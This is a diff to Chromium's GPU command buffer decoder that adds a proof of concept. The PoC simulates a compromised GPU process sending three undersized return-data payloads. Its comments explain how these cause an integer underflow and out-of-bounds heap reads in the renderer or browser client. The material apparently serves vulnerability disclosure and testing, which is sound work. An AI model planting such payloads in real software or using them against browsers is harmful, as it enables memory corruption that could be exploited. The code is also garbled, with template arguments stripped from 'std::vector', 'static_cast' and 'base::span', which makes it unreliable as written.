diff --git a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc index 2c8508dc021cf..b1343604de4bb 100644 --- a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc +++ b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc @@ -2204,6 +2204,69 @@ error::Error GLES2DecoderPassthroughImpl::DoLinkProgram(GLuint program) { linking_program_service_id_ = program_service_id; + // ==================================================================== + // POC: simulate compromised GPU process sending undersized OnReturnData. + // + // Threat model: a compromised GPU process can invoke + // mojom::CommandBufferClient::OnReturnData with arbitrary bytes at any + // time. We send a 4-byte payload (just GLES2ReturnDataHeader). + // + // On the receiving side (renderer/browser GLES2Implementation): + // - DCHECK(data.size() > 4) at gles2_implementation.cc:624 is compiled + // out (is_debug=false, dcheck_always_on=false). + // - return_data_type at offset 0 reads as 0 = kES2ProgramInfo. + // - UpdateProgramInfo is called. + // - DCHECK(data.size() > 8) at gles2_implementation.cc:191 compiled out. + // - Line 194 reads program_client_id from data.data()[4..8] + // -> 4 bytes past the 4-byte allocation -> heap-buffer-overflow. + // - Line 197 computes data.size() - 8 = 4 - 8 -> SIZE_MAX-3 (underflow). + // + // We send THREE payloads to maximize ASAN coverage: + // 1) 4-byte all-zero: program_client_id read is fully OOB. + // 2) 7-byte: low 3 bytes of program_client_id are in-bounds and equal + // `program`; high byte is 1 byte OOB. If that OOB byte happens to be + // 0, find() succeeds and the SIZE_MAX-sized span flows into UpdateES2 + // where Load memcpy's 12 bytes from data.data()+8 + // (entirely past the allocation). + // 3) 5-byte: type + 1 byte; program_client_id read straddles the + // boundary (3 bytes OOB). + // ==================================================================== + { + fprintf(stderr, + "[POC-GPU] DoLinkProgram(client_id=%u) -> sending undersized " + "OnReturnData payloads to trigger size_t underflow in client\n", + program); + + // Payload 1: 4 bytes, all zero. kES2ProgramInfo=0. program_client_id + // read at [4..8) is fully OOB. + { + std::vector evil = {0, 0, 0, 0}; + client()->HandleReturnData(base::span(evil)); + } + + // Payload 2: 7 bytes. Type=kES2ProgramInfo, low 24 bits of + // program_client_id = `program`. Byte [7] (MSB on little-endian) is OOB. + // data.size() - 8 = 7 - 8 underflows to SIZE_MAX. If find() succeeds + // (OOB byte reads as 0), UpdateES2 reads 12 bytes from data.data()+8. + { + std::vector evil = { + 0, 0, 0, 0, // kES2ProgramInfo + static_cast(program & 0xFF), + static_cast((program >> 8) & 0xFF), + static_cast((program >> 16) & 0xFF), + }; + client()->HandleReturnData(base::span(evil)); + } + + // Payload 3: 5 bytes. program_client_id read at [4..8) crosses the + // allocation boundary by 3 bytes. + { + std::vector evil = {0, 0, 0, 0, + static_cast(program & 0xFF)}; + client()->HandleReturnData(base::span(evil)); + } + } + return error::kNoError; }